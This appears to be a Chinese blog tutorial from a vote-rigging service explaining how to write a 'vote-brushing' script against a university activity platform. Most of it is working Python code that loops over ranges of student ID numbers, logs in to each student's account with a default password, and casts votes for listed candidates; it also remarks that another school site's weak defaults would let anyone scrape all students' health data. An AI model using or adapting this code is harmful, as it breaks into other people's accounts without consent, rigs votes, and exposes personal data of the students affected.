如何编写最新刷票软件的刷票代码?

投票教程 admin 0浏览

如何编写最新刷票软件的刷票代码?

对于大家来说利用最新刷票软件编写出刷票的代码,可以说是一件非常遥远的事情,一听到代码大家都觉得是非常高大上的,是我们这些常人无法接触到的,那么其实如何编写最新刷票软件的刷票代码还是比较简单的,那么今天我就来给大家具体的来说下如何编写最新刷票软件的刷票代码吧!

如何编写最新刷票软件的刷票代码?

还是老方法,登陆一下抓下包就搞定了- -登陆账号是学号,密码默认值好多好多人都没有改。(所以你用个脚本登陆这个平台抓个人信息也是能抓一些的,我看了看倒没什么敏感信息。ps:之前学校体测网站,默认密码并不是身份证后六位,而是用户名和密码一样,你要是有心去爬,全校所有人的身高体重等信息都能抓下来)

这个post方法就是我们要找的了,返回的状态码还是302重定位的呢- -当然你要是登不上去就是200

果不其然又是明文啊,但是最后的__hash__是哪来的,还得费一番功夫找一找。

我一开始以为是在网页的源代码里面用某种hash函数生成的。所以就直接搜hash,但是并没有找到,我就懵逼了(这里是个大坑,最后再讲,我是写完了代码之后又去研究了研究才知道问题出在哪),然后百度了半天没有所以然,正当我一筹莫展的时候同学说有个大神给他写过一个py代码了,就是他运行着有点问题= =我说那感情好你直接给我看看

一看倒挺好,人家params里面都没有写这个,那就先不管了。

看了看发现人家代码直接就能跑= =(当时我在想要我有什么用),不过连判断有没有登陆成功以及票是否投过了的判断都没有,只是写了post的代码,所以就帮忙加点东西上去好了= =

我之前用过requests,但是这个库要另外安装,发给别人用别人装起来也麻烦,大腿正好拿的urllib2写的,我正好学习学习。

先从另一篇文章引用过来一些讲解,http://www.cnblogs.com/sysu-blackbear/p/3629770.html

然后写个用POST方法来访问网站的方式(用urllib2模拟一起post过程):

  1. #! /usr/bin/env python
  2. #coding=utf-8
  3. import urllib2
  4. import urllib
  5. import cookielib
  6. def login():
  7. email = raw_input(“请输入用户名:”)
  8. pwd = raw_input(“请输入密码:”)
  9. data={“email”:email,”password”:pwd} #登陆用户名和密码
  10. post_data=urllib.urlencode(data) #将post消息化成可以让服务器编码的方式
  11. cj=cookielib.CookieJar() #获取cookiejar实例
  12. opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  13. #自己设置User-Agent(可用于伪造获取,防止某些网站防ip注入)
  14. headers ={“User-agent”:”Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1″}
  15. website = raw_input(‘请输入网址:’)
  16. req=urllib2.Request(website,post_data,headers)
  17. content=opener.open(req)
  18. print content.read() #linux下没有gbk编码,只有utf-8编码
  19. if __name__ == ‘__main__’:
  20. login()

对比着大腿先写好的代码一看,就明了了:

  1. import urllib2
  2. import cookielib
  3. pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]
  4. for sno in range(8153200, 8153400):
  5. # create cookie
  6. cookieJar = cookielib.CookieJar()
  7. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
  8. # login
  9. params = ‘school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0’ + str(sno) + ‘&password=xxxxxx&login=%E7%99%BB+%E5%BD%95’
  10. req = urllib2.Request(“http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin”, params)
  11. page = opener.open(req)
  12. for id in pid:
  13. # vote
  14. params = ‘id=160367&pid=%d’ % id
  15. req = urllib2.Request(“http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote”, params)
  16. page = opener.open(req)
  17. print sno

新学到了好多知识哟,下次我也能用urllib2写了。

不过还是放一下怎么找到投票的地方吧,虽然大腿写过了不过我也去验证了一下。

这个就是投票的post了

下面的pid就是候选人的代码,打开有候选人的网页直接看html源码就能找到这个pid

投一票成功了就是这样

所以我做的也就是写点判断语句,首先是能否登陆成功,再看票是不是投过了,没投过就投一下就行了- –

附上代码,

  1. # coding=utf-8
  2. import urllib2
  3. import cookielib
  4. import re
  5. pid = [36310, 36359, 36270, 36246, 36233, 36545, 36496, 36362, 36373, 36497]#候选人的ID
  6. sum0=0#成功投票的人数
  7. def Vote():
  8. for id in pid:
  9. # vote
  10. params = ‘id=160367&pid=%d’ % id
  11. req = urllib2.Request(“http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=vote”, params)
  12. page = opener.open(req)
  13. for sno in range(8143131, 8143200):
  14. print sno
  15. # create cookie
  16. cookieJar = cookielib.CookieJar()
  17. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
  18. # login
  19. params = ‘school=%E4%B8%AD%E5%9B%BD%E7%9F%BF%E4%B8%9A%E5%A4%A7%E5%AD%A6&sid=622&number=0’ + str(sno) + ‘&password=111111&login=%E7%99%BB+%E5%BD%95’
  20. req = urllib2.Request(“http://cumt.pocketuni.net/index.php?app=home&mod=Public&act=doLogin”, params)
  21. page = opener.open(req)
  22. m=re.search(r’中国矿业大学大学生实践成长服务平台’,page.read())#判断能否登陆成功
  23. if m:
  24. print ‘登陆成功’
  25. else:
  26. print ‘登录失败’
  27. req=urllib2.Request(‘http://cumt.pocketuni.net/index.php?app=event&mod=Front&act=index&id=160367’)
  28. page=opener.open(req)
  29. m1=re.search(r’票已投完’,page.read())#判断是不是可以投票
  30. if m1:
  31. print ‘该账号已投票’
  32. else:
  33. Vote()
  34. print ‘投票成功’
  35. sum0+=1
  36. print “成功投票%d人”%sum0

再给你们讲一下神坑,因为抓包的时候打开页面以后我就把之前的都清理了。后来不清了,发现当你打开页面的时候

神特么放在这里,真是有病

版权申明:本篇文章属于原创,转载请注明出自微信投票网。原文地址: https://www.aivote.com/12974.html